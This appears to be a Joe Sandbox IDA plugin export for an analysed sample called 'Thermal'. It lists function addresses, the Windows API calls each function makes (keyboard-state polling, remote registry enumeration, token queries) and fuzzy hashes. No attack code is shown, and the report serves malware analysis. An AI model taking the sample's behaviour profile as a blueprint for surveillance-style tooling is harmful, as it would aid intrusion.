Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 0add337a5491428d35e245cb36e283b304fd571d4b86918e08bfe05983afe106
Instruction ID: 3f2cc0ad994214371ea82aa98901b0d0e4a0e72bf6c948a1dc1367a143db1227
Opcode Fuzzy Hash: 0add337a5491428d35e245cb36e283b304fd571d4b86918e08bfe05983afe106
Instruction Fuzzy Hash: 2B113C34900119DBCF01EF94D9A18EEB7B4FF29344B108469D81667261EB365E0ADF50

Function 0019F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0019F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0019F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0019F453
CloseHandle.KERNEL32(?), ref: 0019F4D4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: ba68c645b613dcae69456a4bab77a20b3ae19d64a82bbbb71352559ae11013cb
Instruction ID: 172ef8df7557b65104e3d2cc105c5fb38c4443d27424a00e00ba69d8e583f48b
Opcode Fuzzy Hash: ba68c645b613dcae69456a4bab77a20b3ae19d64a82bbbb71352559ae11013cb
Instruction Fuzzy Hash: A6819171600310AFD720EF68E886F2AB7E5AF58710F14891DF999DB292D770EC518F51

Function 001A0697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 001A147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001A040D,?,?), ref: 001A1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001A075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001A079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 001A07E3
RegCloseKey.ADVAPI32(?,?), ref: 001A080F
RegCloseKey.ADVAPI32(00000000), ref: 001A081C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 8a1c14d908c027e239a96fe842f35e338c692fdc30693a9f1c4cdaf24e818bfd
Instruction ID: 076f3df146d03b5f88c2580938e976b2b71181333ddd4c37bfc5d7e6d8e95679
Opcode Fuzzy Hash: 8a1c14d908c027e239a96fe842f35e338c692fdc30693a9f1c4cdaf24e818bfd
Instruction Fuzzy Hash: 0D515875208204AFD705EFA4C891E6BB7E9BF99304F04891DF595872A1DB30E944CB52

Function 0018EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0018EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0018EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0018ECCA

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0018ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0018ECF7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: f0107e98fb3a2ff5a90fd3ba454f650bf8cc837fed4be755a72a56d1c15e30be
Instruction ID: 193baeaa1deede02974d73a3116453b727278646e2d40982ec9a6eb814b6ea47
Opcode Fuzzy Hash: f0107e98fb3a2ff5a90fd3ba454f650bf8cc837fed4be755a72a56d1c15e30be
Instruction Fuzzy Hash: F1512A35A00519EFCB01EFA4D985AAEBBF5EF18314B148099F809AB3A1CB31ED55DF50

Function 001AA67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d24e5f80c0eed0fd529baa533efa6dd9658c529f9aace3574090ad0632c7463
Instruction ID: a85fc6ab76a45aff0904159501f9d971a3580e107f5c730583356018fcf6237b
Opcode Fuzzy Hash: 6d24e5f80c0eed0fd529baa533efa6dd9658c529f9aace3574090ad0632c7463
Instruction Fuzzy Hash: 0C41067D900204AFD714CBA4CC88FBBBBB4EF0A320F950255F916A72D1C7719D41DA51

Function 00122714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00122727
ScreenToClient.USER32(001E77B0,?), ref: 00122744
GetAsyncKeyState.USER32(00000001), ref: 00122769
GetAsyncKeyState.USER32(00000002), ref: 00122777

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 3608984ad88c3f681636ca485f8792b806eb8c60b2e5bdd09f7057327047bc5c
Instruction ID: 8ec808764fe0dd3ffa41084b73d7b002b4e9fa994c4b8a750000523d7f6b74b2
Opcode Fuzzy Hash: 3608984ad88c3f681636ca485f8792b806eb8c60b2e5bdd09f7057327047bc5c
Instruction Fuzzy Hash: 67415E35508219FFDF199FA8C844EEDBB74FB15325F10831AF82896290C730ADA4DB91

Function 001795D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001795E8
PostMessageW.USER32(?,00000201,00000001), ref: 00179692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0017969A
PostMessageW.USER32(?,00000202,00000000), ref: 001796A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 001796B0

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 06180584bdae67dcdcf5f591874cf1972bf2a749dcf3420acb4303fb59246ba2
Instruction ID: 239a64b516ae9c0e79acfa29303592de8ecfb067ed148eec450b9b0567c9e12c
Opcode Fuzzy Hash: 06180584bdae67dcdcf5f591874cf1972bf2a749dcf3420acb4303fb59246ba2
Instruction Fuzzy Hash: 87319C71900219EBDB14CF68D94DA9E7BB5EB49315F108319F929AA2D0C3B0D968DB90

Function 001AB7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

GetWindowLongW.USER32(?,000000F0), ref: 001AB804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 001AB829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 001AB841
GetSystemMetrics.USER32(00000004), ref: 001AB86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0019155C,00000000), ref: 001AB888

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: af9804e53bcb1fd7ffc2de8a950c01653262be97e4d43412d30110580d70845e
Instruction ID: b643e425036b906de6d9b74e0151b809600635f6fec6704321bd097201a99d36
Opcode Fuzzy Hash: af9804e53bcb1fd7ffc2de8a950c01653262be97e4d43412d30110580d70845e
Instruction Fuzzy Hash: 6821E5359182A5AFCB249F7CDC88B6A37A8FB06320F114738F921D75E2D3348860CB90

Function 00196138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00196159
GetForegroundWindow.USER32 ref: 00196170
GetDC.USER32(00000000), ref: 001961AC
GetPixel.GDI32(00000000,?,00000003), ref: 001961B8
ReleaseDC.USER32(00000000,00000003), ref: 001961F3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 116c472aea96ab01d6bf50680eb10c6ea3e157a8cc8e85770abd4bfc5af38bd0
Instruction ID: 7865b0c014ba60f3af7e5257e1b0c9356c1993ae54b0e3839abdbc8d0511dbc9
Opcode Fuzzy Hash: 116c472aea96ab01d6bf50680eb10c6ea3e157a8cc8e85770abd4bfc5af38bd0
Instruction Fuzzy Hash: 4E218475A002049FDB14EF65DD84A9AB7F5EF98350F048479F94AD7662CB30AD41CB90

Function 001216CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00121729
SelectObject.GDI32(?,00000000), ref: 00121738
BeginPath.GDI32(?), ref: 0012174F
SelectObject.GDI32(?,00000000), ref: 00121778

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e30a8c02c7b6ebcf173f729879f92fb8cfb5bfe550326abcf14bc807c18807b0
Instruction ID: e511b86e7b25858e243b293d1e5724dc74cd66e6c6993ae1eb9e2809a3a317fb
Opcode Fuzzy Hash: e30a8c02c7b6ebcf173f729879f92fb8cfb5bfe550326abcf14bc807c18807b0
Instruction Fuzzy Hash: 7121AF30804258FBEB11DFA4FC88F6E7BA9FB64361F144216F8159A5E0D77198E2CB90

Function 0017C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0017C84C
_memcmp.LIBCMT ref: 0017C86A
_memcmp.LIBCMT ref: 0017C87D
_memcmp.LIBCMT ref: 0017C895
_memcmp.LIBCMT ref: 0017C8AD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 1898697b268d90c103512e8b8c8cb8ceb70181bd0ad3152d5fbdf5fc9ef7b7fe
Instruction ID: 241fe9b8a1864f105ad34444bbacf00cd390f71fcd83245ca35528ef245f97fa
Opcode Fuzzy Hash: 1898697b268d90c103512e8b8c8cb8ceb70181bd0ad3152d5fbdf5fc9ef7b7fe
Instruction Fuzzy Hash: 0201B572A401157BD3146611ED82FFB777CAB70394F15802EFE1A96746F7A0DE2182E2

Function 0018504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00185075
__beginthreadex.LIBCMT ref: 00185093
MessageBoxW.USER32(?,?,?,?), ref: 001850A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 001850BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 001850C5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 65bc38b3fc3a33849b271b3d43c6d46db3d54a9de79f1832f397b7f8eb180099
Instruction ID: ebe0a0e40bbd8f020062779a79eac24ffe5b49caf794eb6a7a1453cdcdcc6d5e
Opcode Fuzzy Hash: 65bc38b3fc3a33849b271b3d43c6d46db3d54a9de79f1832f397b7f8eb180099
Instruction Fuzzy Hash: A411E572908749ABD7019BE89C44AAF7BADEB49320F140355F915D76A0D7718A808BE0

Function 00178E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00178E3C
GetLastError.KERNEL32(?,00178900,?,?,?), ref: 00178E46
GetProcessHeap.KERNEL32(00000008,?,?,00178900,?,?,?), ref: 00178E55
HeapAlloc.KERNEL32(00000000,?,00178900,?,?,?), ref: 00178E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00178E73

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 845f0fd37ebd620f29943eb56c34e06f6a77c3c19f969c974d54c96592715d5b
Instruction ID: 205fd39b4fd675de3aa9a91b20fab726d818ca90de2820334217914b3278000c
Opcode Fuzzy Hash: 845f0fd37ebd620f29943eb56c34e06f6a77c3c19f969c974d54c96592715d5b
Instruction Fuzzy Hash: 240169B0290204BFDB214FAADC8DD6B7BBDEF8A354B104629F849C2220DF31DC50CA60

Function 001857FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0018581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00185829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00185831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0018583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00185877

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 1852203ce360db1f95419b88b57e868c68f1373557b2f5ecd848796bdff0dda4
Instruction ID: c4fbe120d9f8db949507e27fed45da0fcc91c26d1d106ac2d3369cac605273f9
Opcode Fuzzy Hash: 1852203ce360db1f95419b88b57e868c68f1373557b2f5ecd848796bdff0dda4
Instruction Fuzzy Hash: 8C016D31C01A1DDBCF04AFEAD8489EEBB79FB0D711F414196E401B2140DB30D6A4CBA1

Function 00177D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00177C62,80070057,?,?,?,00178073), ref: 00177D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00177C62,80070057,?,?), ref: 00177D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00177C62,80070057,?,?), ref: 00177D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00177C62,80070057,?), ref: 00177D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00177C62,80070057,?,?), ref: 00177D8A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 459a99ecb652f776a0c80cae216e2dd2cef346d16734eadd902ed631c67c46b5
Instruction ID: ecc954300f62e43af2e99374abe83031dd51dd4ea55c2a9b4d1942d95d8e5e81
Opcode Fuzzy Hash: 459a99ecb652f776a0c80cae216e2dd2cef346d16734eadd902ed631c67c46b5
Instruction Fuzzy Hash: 5B017172A05214ABDB214F94DC44BAA7BBDEF48791F158114FD0CD6260E771DE40CBE0

Function 00178CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00178CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00178CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00178CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00178CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00178D14

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d9ea9d352081d668f96161511592e5aa429a2f8dddb134f076830eec24e8001d
Instruction ID: ead0c1f15cf50c1341e719eba903981930ceecef81c4c72d9b0a4d01ee8a024b
Opcode Fuzzy Hash: d9ea9d352081d668f96161511592e5aa429a2f8dddb134f076830eec24e8001d
Instruction Fuzzy Hash: D6F04F75244204AFEB221FE5DCCDE673BADEF4D7A4B108625F949C6190CB61DC81DB60

Function 00178D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00178D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00178D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D75

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 15f0c7ace405a1f54f5f13087b634c3841928d02c2d8a76d9e937b753744726d
Instruction ID: f3f7b17e2d5906f08c8839acdc60b240a04d2b51cd14fb9e839fb2e09f6519ba
Opcode Fuzzy Hash: 15f0c7ace405a1f54f5f13087b634c3841928d02c2d8a76d9e937b753744726d
Instruction Fuzzy Hash: 14F04F71290204AFEB221FA9EC8CF673BADEF49794F144215F949C6190DB61DD81DB60

Function 0017CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0017CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 0017CDA7
MessageBeep.USER32(00000000), ref: 0017CDBF
KillTimer.USER32(?,0000040A), ref: 0017CDDB
EndDialog.USER32(?,00000001), ref: 0017CDF5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
